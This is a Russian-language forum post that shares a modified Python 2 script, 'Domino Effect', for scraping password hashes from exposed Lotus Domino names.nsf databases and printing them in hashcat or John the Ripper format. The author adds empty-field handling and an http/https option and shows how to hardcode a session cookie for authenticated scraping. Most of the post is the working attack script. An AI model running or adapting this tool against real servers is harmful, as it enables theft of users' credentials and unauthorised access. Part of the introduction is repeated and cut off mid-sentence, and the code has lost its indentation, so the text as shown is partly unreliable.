Столкнулся на днях с проблемой, поднимать msf не хотелось а dominohunter пользовать было не с руки да и не работал он а разгребать в чем там проблема было лень, поискал аналоги и тот что нашел оказался тоже не рабочим в случае когда hash или shortname пуст.
В общем на коленке поправил, код и так не самый качественный там но переписывать свое сошлюхами потоками и блэджеком я не стал.
Добавил обработку в случае пустых значений и возможность указать протокол ( http/https )
Оригинал
P.S Надо бы порт добавить но мне лень ( я знаю что 10 сек )
А по поводу авторизации я впиливаю куки прямо в код ( надо бы сделать парсер куки в нем но как снова столкнусь с sso в лотусе поправлю и выложу ).
В общем на коленке поправил, код и так не самый качественный там но переписывать свое со
Добавил обработку в случае пустых значений и возможность указать протокол ( http/https )
Оригинал
Python:
#Domino Effect - A script to extract password hashes from insecure Lotus Domino names.nsf databases.
#Author: Jonathan Broche
#!/usr/bin/env python2
#todo: add port option
import requests, re, BeautifulSoup, sys, argparse, os
requests.packages.urllib3.disable_warnings()
parser = argparse.ArgumentParser(description='Domino Effect - A Lotus Domino password hash tool by Jonathan Broche (@g0jhonny), modified by sii', version="1.0.1")
parser.add_argument('system', help="IP address or hostname to harvest hashes from. ")
parser.add_argument('-u', '--uri', metavar='path', default="/names.nsf", help="Path to the names.nsf file. [Default: /names.nsf]")
parser.add_argument('-t', '--type', metavar='protocol', default="http", help="Protocol type http or https. [Default: http]")
outgroup = parser.add_argument_group(title="Output Options")
outgroup.add_argument('--hashcat', action='store_true', help="Print results for use with hashcat.")
outgroup.add_argument('--john', action='store_true', help="Print results for use with John the Ripper.")
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
print "\nDomino Effect {}\n".format(parser.version)
headers={'User-Agent':'Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3'}
try:
response = requests.get("{}://{}{}/People?OpenView".format(args.type, args.system, args.uri), verify=False, headers=headers, timeout=5)
except requests.exceptions.Timeout as e:
print "[!] Timed out, try again."
sys.exit(1)
except Exception as e:
print e
soup = BeautifulSoup.BeautifulSoup(response.text)
links = []
#grab all user profile links
for link in soup.findAll('a'):
if "OpenDocument" in link['href']:
if link['href'] not in links:
links.append(link['href'])
hashes = {}
for link in links: #get user profile
try:
response = requests.get("{}://{}{}".format(args.type,args.system, link), verify=False, headers=headers, timeout=2)
except requests.exceptions.Timeout as e:
pass
except Exception as e:
print e
if response.text:
soup = BeautifulSoup.BeautifulSoup(response.text)
try:
name = soup.find('input', {'name' : '$dspShortName'}).get('value').strip() #short name
except Exception as e:
name = ''
try:
httppassword = soup.find('input', { "name" : "HTTPPassword"}).get('value').strip()
except Exception as e:
httppassword = ''
try:
dsphttppassword = soup.find('input', { "name" : "dspHTTPPassword"}).get('value').strip()
except Exception as e:
dsphttppassword = ''
if httppassword and httppassword not in hashes.keys():
hashes[httppassword] = name
elif dsphttppassword and dsphttppassword not in hashes.keys():
hashes[dsphttppassword] = name
if hashes: #output
if args.hashcat or args.john:
if args.hashcat:
for h in hashes.keys():
print h
if args.john:
for h, n in hashes.items():
print "{}:{}".format(n,h)
else:
for h, n in hashes.items():
print "[*] User: {} Hash: {}".format(n, h)
print "\n{} hashes obtained\n".format(len(hashes))
P.S Надо бы порт добавить но мне лень ( я знаю что 10 сек )
Код:
cookie = {'SessionID' : 'FigVamAneSessionMoy' }
#Далее просто добавляем куки как куки при запросе
response = requests.get("{}://{}{}/People?OpenView".format(args.type, args.system, args.uri), verify=False, headers=headers, cookies=cookie, timeout=3)
Последнее редактирование: